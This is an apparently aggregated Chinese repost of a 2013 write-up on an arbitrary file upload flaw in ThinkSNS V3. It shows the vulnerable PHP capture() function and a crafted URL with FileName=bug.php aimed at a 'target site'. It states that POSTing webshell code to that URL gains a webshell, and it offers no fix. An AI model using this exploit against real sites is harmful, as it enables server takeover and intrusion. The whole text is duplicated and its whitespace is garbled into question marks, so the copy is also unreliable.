thinksns开源微博系统 V3上传漏洞
生活随笔
收集整理的這篇文章主要介紹了
thinksns开源微博系统 V3上传漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
發布時間:2013-04-08??關鍵詞:thinksns 微博 上傳漏洞
ThinkSNS是基于互聯網web2.0思想開發的老牌開源微博SNS系統,其開發始于2008年,其間經歷了從 1.0→1.6→2.0→2.3→2.5→2.8→V3多個大版本的迭代,目前最新版本為V3。
thinksns v3
漏洞產生文件 attachaction.class.php:
public function capture(){
??????????????? error_reporting(0);
???????????????//解析上傳方式
??????????????? $query_string???????=??????? t($_SERVER['QUERY_STRING']);
??????????????? parse_str($query_string,$query_data); //覆蓋data變量
??????????????? $log_file???????=??????? time().'_'.rand(0,1000).'.txt';
??????????????? $log_path???????=??????? RUNTIME_PATH.'/logs/'.date('Y/md/H/');
???????????????if(!is_dir($log_path))
??????????????????????? mkdir($log_path,0777,true);
??????????????? $file_path???????=???????'./data/uploads/'.date('Y/md/H/');
???????????????if(!is_dir($file_path))
??????????????????????? mkdir($file_path,0777,true);
??????????????? file_put_contents($log_path.$log_file,var_export($query_data,true));
???????????????//按鈕截圖:FileType=img
???????????????if($query_data['FileType']=='img'){
??????????????????????? $file_name???????=???????'capture_'.time().'.jpg';
???????????????}
???????????????//附件上傳:FileType=Attachment & FileName=xxx.jpg
??????????????? if($query_data['FileType']=='Attachment'){
??????????????????????? $file_name???????=??????? $query_data['FileName'];??????????????? }
???????????????//處理數據流
??????????????? if ($stream= fopen('php://input', 'r')) { //post獲取內容
??????????????????????? // print all the page starting at the offset 10
???????????????????????// echo stream_get_contents($stream, -1, 10);
??????????????????????? $content???????=??????? stream_get_contents($stream);
??????????????????????? file_put_contents($file_path.$file_name,$content);
??????????????????????? fclose($stream);
???????????????}
???????????????//include 'UploadFile.class.php';
???????????????//$up??????? =??????? new UploadFile();
???????????????//$up->upload('./uploads/');
???????????????//$info??????? =??????? $up->getUploadFileInfo();
???????????????//echo "<pre>";
???????????????//var_dump($_SERVER);
???????????????//var_dump($info);
???????????????//echo "</pre>";
???????????????//輸出文件
??????????????? echo SITE_URL.ltrim($file_path.$file_name,'.');
???????}
對上傳數據過濾不嚴,產生漏洞,構造URL:
http://目標網址/index.php?app=public&mod=attach&act=capture&FileType=Attachment&FileName=bug.php
POST提交webshell代碼至以上url,將會在附件目錄下生成bug.php,即獲取到webshell。
thinksns v3
漏洞產生文件 attachaction.class.php:
public function capture(){
??????????????? error_reporting(0);
???????????????//解析上傳方式
??????????????? $query_string???????=??????? t($_SERVER['QUERY_STRING']);
??????????????? parse_str($query_string,$query_data); //覆蓋data變量
??????????????? $log_file???????=??????? time().'_'.rand(0,1000).'.txt';
??????????????? $log_path???????=??????? RUNTIME_PATH.'/logs/'.date('Y/md/H/');
???????????????if(!is_dir($log_path))
??????????????????????? mkdir($log_path,0777,true);
??????????????? $file_path???????=???????'./data/uploads/'.date('Y/md/H/');
???????????????if(!is_dir($file_path))
??????????????????????? mkdir($file_path,0777,true);
??????????????? file_put_contents($log_path.$log_file,var_export($query_data,true));
???????????????//按鈕截圖:FileType=img
???????????????if($query_data['FileType']=='img'){
??????????????????????? $file_name???????=???????'capture_'.time().'.jpg';
???????????????}
???????????????//附件上傳:FileType=Attachment & FileName=xxx.jpg
??????????????? if($query_data['FileType']=='Attachment'){
??????????????????????? $file_name???????=??????? $query_data['FileName'];??????????????? }
???????????????//處理數據流
??????????????? if ($stream= fopen('php://input', 'r')) { //post獲取內容
??????????????????????? // print all the page starting at the offset 10
???????????????????????// echo stream_get_contents($stream, -1, 10);
??????????????????????? $content???????=??????? stream_get_contents($stream);
??????????????????????? file_put_contents($file_path.$file_name,$content);
??????????????????????? fclose($stream);
???????????????}
???????????????//include 'UploadFile.class.php';
???????????????//$up??????? =??????? new UploadFile();
???????????????//$up->upload('./uploads/');
???????????????//$info??????? =??????? $up->getUploadFileInfo();
???????????????//echo "<pre>";
???????????????//var_dump($_SERVER);
???????????????//var_dump($info);
???????????????//echo "</pre>";
???????????????//輸出文件
??????????????? echo SITE_URL.ltrim($file_path.$file_name,'.');
???????}
對上傳數據過濾不嚴,產生漏洞,構造URL:
http://目標網址/index.php?app=public&mod=attach&act=capture&FileType=Attachment&FileName=bug.php
POST提交webshell代碼至以上url,將會在附件目錄下生成bug.php,即獲取到webshell。
總結
以上是生活随笔為你收集整理的thinksns开源微博系统 V3上传漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 优雅的进行线上数据订正
- 下一篇: Excel中VLOOKUP函数简易使用—